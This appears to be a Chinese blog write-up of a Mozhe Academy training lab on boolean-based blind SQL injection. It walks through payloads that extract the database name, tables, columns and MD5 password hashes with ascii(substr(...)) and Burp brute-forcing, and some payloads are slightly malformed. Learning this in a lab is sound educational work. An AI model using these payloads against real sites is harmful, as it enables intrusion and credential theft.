墨者学院-SQL注入漏洞测试(布尔盲注)

拿到题目之后打开网站发现如下界面
在这里插入图片描述
本以为是输入框存在注入,结果发现并不是,而是下面一段小字,发现存在id=1的字样
在这里插入图片描述

手工注入:

前置知识!!!
1.information_schema.schemata 该表存储了数据库所有数据****名
其中schema_name为数据库的库名存在此表中

2.information_schema.tables该表在存储了数据库中的所有****名
table_schema 为数据库名
table_name为数据表名
table_rows为行的粗略估计
table_length记录表的大小

1.判断注入点:

首先应该判断是否有闭合字符,当输入and 1=1界面正常,and 1=2时界面错误,说明无闭合字符,为数字型注入。

2.爆破数据库:

因为已经知道数据库为mysql,则接下来爆数据库

一般用到的函数:
. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串 
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
1. version()——MySQL 版本
2. user()——数据库用户名 
3. database()——数据库名
4. @@datadir——数据库路径 
5. @@version_compile_os——操作系统版本
database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
ascii(),将字符转为 ascii 值

and length(database())>5
利用二分法或者burp爆破模块跑出数据库的字段数为10,接下来爆破数据库名称
ascii(substr(database(),1,1))=48
在这里插入图片描述通过burp爆破一般情况下跑48-127,来爆破出数据库名称:stormgroup
ps:导出名称的时候先将1250长字段标红,接下来筛选出高字段,接下来payload的降序一下,这样就是顺序,再导出payload2,这就是字段的ASCII值,之后转换就可以得到字段名称了

3.爆破数据表

1.爆破数据表:先跑出一共几个表
id=1 and (select count (table_name) from information_schema.tables where schema_name=database())=1

在这里插入图片描述2.共两个表,接下来跑表的长度
id=1 and length((select table_name from information_schema.tables where schema_name=database() limit 0,1))=1
ps:这里注意要有两个括号,一个为length()函数自身括号,另一个为包裹查询这整个sql语句

3.两个表长度都为6,接下来爆表名
id=1 and ascii(substr(select table_name from information_schema.tables where schema_name=database() limit 0,1),1,1)=1

ps id=1 and ascii(substr(select table_name from information_schema.tables where schema_name=database() limit 0,1),1,1)=48 用burp跑这两个字段 下面同理

得到表名为**membernotice**

4.爆破字段

1.跑出每个表中有几个字段
(select count(column_name) from information_schema.columns where table_name='member')=1 得出第一张表有3个字段,第二章表有4个字段。

length((select column_name from information_schema.columns where table_name="member" limit 0,1))=1
得到member三个字段的长度分别为**4 8 6而notice字段的长度分别为2 5 7 4**

在这里插入图片描述2.接下来字段名称
ascii(substr((select column_name from information_schema.columns where table_name="member" limit 0,1), 1,1))
得到member字段分别为name, password, status, 而notice字段分别为id, title,在这里插入图片描述
3.同导出数据库名称一样越burp跑出共7个字段名
得到**member字段为name, password, status,** 而**notice字段分别为id, title, content, time**

4.判断password字段数,因为一般mysql都为md5加密,会很长,当然也可以在跑字段的时候password设置的长度大一点
length((select password from member limit 1,1))>5
之后爆破**namepassword**字段

name都是mozhe,但password为32位md5值,共两个数据,跑出md5后转换一下,得到用户名与密码,进行最开始的登录界面,第一组用户显示被进禁止,第二组可以进入,并得到最后key值,key值为动态的,需要自己破解跑哦。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值